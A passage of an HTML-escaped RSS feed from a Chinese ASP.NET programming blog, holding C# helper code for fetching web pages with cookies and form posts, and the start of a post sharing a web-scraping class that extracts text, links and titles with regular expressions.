;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;(Exception&nbsp;ex)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;x&nbsp;=&nbsp;ex.StackTrace;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finally<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(response&nbsp;!=&nbsp;null)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;true;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#region&nbsp;GetPage<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;获取源代码<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name=&#34;url&#34;&gt;&lt;/param&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name=&#34;coding&#34;&gt;&lt;/param&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name=&#34;TryCount&#34;&gt;&lt;/param&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;&lt;/returns&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;string&nbsp;GetPage(string&nbsp;url,&nbsp;Encoding&nbsp;encoding,&nbsp;int&nbsp;TryCount)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(int&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;TryCount;&nbsp;i++)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;result&nbsp;=&nbsp;GetPage(url,&nbsp;encoding,&nbsp;null);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(result&nbsp;!=&nbsp;null&nbsp;&amp;&amp;&nbsp;result&nbsp;!=&nbsp;string.Empty)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;result;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;string.Empty;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;获取源代码<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name=&#34;url&#34;&gt;&lt;/param&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name=&#34;coding&#34;&gt;&lt;/param&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;&lt;/returns&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;string&nbsp;GetPage(string&nbsp;url,&nbsp;Encoding&nbsp;encoding,&nbsp;string&nbsp;cookie)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HttpWebRequest&nbsp;request&nbsp;=&nbsp;null;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HttpWebResponse&nbsp;response&nbsp;=&nbsp;null;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;StreamReader&nbsp;reader&nbsp;=&nbsp;null;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request&nbsp;=&nbsp;(HttpWebRequest)WebRequest.Cr&#101;ate(url);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.UserAgent&nbsp;=&nbsp;&#34;Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;7.0;&nbsp;Windows&nbsp;NT&nbsp;5.2;)&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.Timeout&nbsp;=&nbsp;20000;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.AllowAutoRedirect&nbsp;=&nbsp;false;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(cookie&nbsp;!=&nbsp;null)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request.Headers[&#34;Cookie&#34;]&nbsp;=&nbsp;cookie;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response&nbsp;=&nbsp;(HttpWebResponse)request.GetResponse();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(response.StatusCode&nbsp;==&nbsp;HttpStatusCode.OK&nbsp;&amp;&amp;&nbsp;response.ContentLength&nbsp;&lt;&nbsp;1024&nbsp;*&nbsp;1024)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;reader&nbsp;=&nbsp;new&nbsp;StreamReader(response.GetResponseStream(),&nbsp;encoding);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;html&nbsp;=&nbsp;reader.ReadToEnd();<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;html;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finally<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(response&nbsp;!=&nbsp;null)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response&nbsp;=&nbsp;null;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(reader&nbsp;!=&nbsp;null)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;reader.Close();<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(request&nbsp;!=&nbsp;null)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request&nbsp;=&nbsp;null;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;string.Empty;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#endregion<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;class&nbsp;RequestData<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Hashtable&nbsp;hash&nbsp;=&nbsp;new&nbsp;Hashtable();<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;RequestData()<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;string&nbsp;GetData()<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;r&nbsp;=&nbsp;&#34;&#34;;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach&nbsp;(string&nbsp;key&nbsp;in&nbsp;hash.Keys)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(r.Length&nbsp;&gt;&nbsp;0)&nbsp;r&nbsp;+=&nbsp;&#34;&amp;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r&nbsp;+=&nbsp;key&nbsp;+&nbsp;&#34;=&#34;&nbsp;+&nbsp;hash[key];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;r;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;void&nbsp;AddField(string&nbsp;Field,&nbsp;string&nbsp;Value)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hash[Field]&nbsp;=&nbsp;Value;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>}]]></description>
		</item>
		
			<item>
			<link>http://www.dbsun.com/default.asp?id=153</link>
			<title><![CDATA[抓取和分析网页的类]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[ASP.NET]]></category>
			<pubDate>Mon,25 Aug 2008 16:37:54 +0800</pubDate>
			<guid>http://www.dbsun.com/default.asp?id=153</guid>	
		<description><![CDATA[抓取和分析网页的类。&nbsp;主要功能有：&nbsp;1、提取网页的纯文本，去所有html标签和javascript代码&nbsp;2、提取网页的链接，包括href和frame及iframe&nbsp;3、提取网页的title等(其它的标签可依此类推，正则是一样的)&nbsp;4、可以实现简单的表单提交及cookie保存&nbsp;/*<br/>*&nbsp;&nbsp;Author:Sunjoy&nbsp;at&nbsp;CCNU<br/>*&nbsp;&nbsp;如果您改进了这个类请发一份代码给我(ccnusjy&nbsp;在gmail.com)<br/>*/<br/><br/>using&nbsp;System;<br/>using&nbsp;System.Data;<br/>using&nbsp;System.Configuration;<br/>using&nbsp;System.Net;<br/>using&nbsp;System.IO;<br/>using&nbsp;System.Text;<br/>using&nbsp;System.Collections.Generic;<br/>using&nbsp;System.Text.RegularExpressions;<br/>using&nbsp;System.Threading;<br/>using&nbsp;System.Web;<br/>///&nbsp;&lt;summary&gt;<br/>///&nbsp;网页类<br/>///&nbsp;&lt;/summary&gt;<br/>public&nbsp;class&nbsp;WebPage<br/>{<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;#region&nbsp;私有成员<br/>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;Uri&nbsp;m_uri;&nbsp;&nbsp;&nbsp;//网址<br/>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;List&lt;Link&gt;&nbsp;m_links;&nbsp;&nbsp;&nbsp;&nbsp;//此网页上的链接<br/>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;string&nbsp;m_title;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//此网页的标题<br/>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;string&nbsp;m_html;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//此网页的HTML代码<br/>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;string&nbsp;m_outstr;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//此网页可输出的纯文本<br/>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;bool&nbsp;m_good;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//此网页是否可用<br/>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;int&nbsp;m_pagesize;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//此网页的大小<br/>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;Dictionary&lt;string,&nbsp;CookieContainer&gt;&nbsp;webcookies&nbsp;=&nbsp;new&nbsp;Dictionary&lt;string,&nbsp;CookieContainer&gt;();//存放所有网页的Cookie<br/>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;string&nbsp;m_post;&nbsp;&nbsp;//此网页的登陆页需要的POST数据<br/>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;string&nbsp;m_loginurl;&nbsp;&nbsp;//此网页的登陆页<br/>&nbsp;&nbsp;&nbsp;&nbsp;#endregion<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;#region&nbsp;私有方法<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;这私有方法从网页的HTML代码中分析出链接信息<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;List&lt;Link&gt;&lt;/returns&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;List&lt;Link&gt;&nbsp;getLinks()<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(m_links.Count&nbsp;==&nbsp;0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Regex[]&nbsp;regex&nbsp;=&nbsp;new&nbsp;Regex[2];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;regex[0]&nbsp;=&nbsp;new&nbsp;Regex(&#34;(?m)&lt;a[^&gt;&lt;]+href=(\&#34;|&#39;)?(?&lt;url&gt;([^&gt;\&#34;&#39;\\s)])+)(\&#34;|&#39;)?[^&gt;]*&gt;(?&lt;text&gt;(\\w|\\W)*?)&lt;/&#34;,&nbsp;RegexOptions.Multiline&nbsp;|&nbsp;RegexOptions.IgnoreCase);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;regex[1]&nbsp;=&nbsp;new&nbsp;Regex(&#34;&lt;[i]*frame[^&gt;&lt;]+src=(\&#34;|&#39;)?(?&lt;url&gt;([^&gt;\&#34;&#39;\\s)])+)(\&#34;|&#39;)?[^&gt;]*&gt;&#34;,&nbsp;RegexOptions.Multiline&nbsp;|&nbsp;RegexOptions.IgnoreCase);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(int&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;2;&nbsp;i++)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Match&nbsp;match&nbsp;=&nbsp;regex[i].Match(m_html);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(match.Success)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;url&nbsp;=&nbsp;new&nbsp;Uri(m_uri,&nbsp;match.Groups[&#34;url&#34;].Value).AbsoluteUri;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;text&nbsp;=&nbsp;&#34;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(i&nbsp;==&nbsp;0)&nbsp;text&nbsp;=&nbsp;new&nbsp;Regex(&#34;(&lt;[^&gt;]+&gt;)|(\\s)|(&amp;nbsp;)|&amp;|\&#34;&#34;,&nbsp;RegexOptions.Multiline&nbsp;|&nbsp;RegexOptions.IgnoreCase).Replace(match.Groups[&#34;text&#34;].Value,&nbsp;&#34;&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Link&nbsp;link&nbsp;=&nbsp;new&nbsp;Link(url,&nbsp;text);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_links.Add(link);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch(Exception&nbsp;ex){Console.WriteLine(ex.Message);&nbsp;};<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;match&nbsp;=&nbsp;match.NextMatch();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;m_links;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;此私有方法从一段HTML文本中提取出一定字数的纯文本<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name=&#34;instr&#34;&gt;HTML代码&lt;/param&gt;<br/>&nbs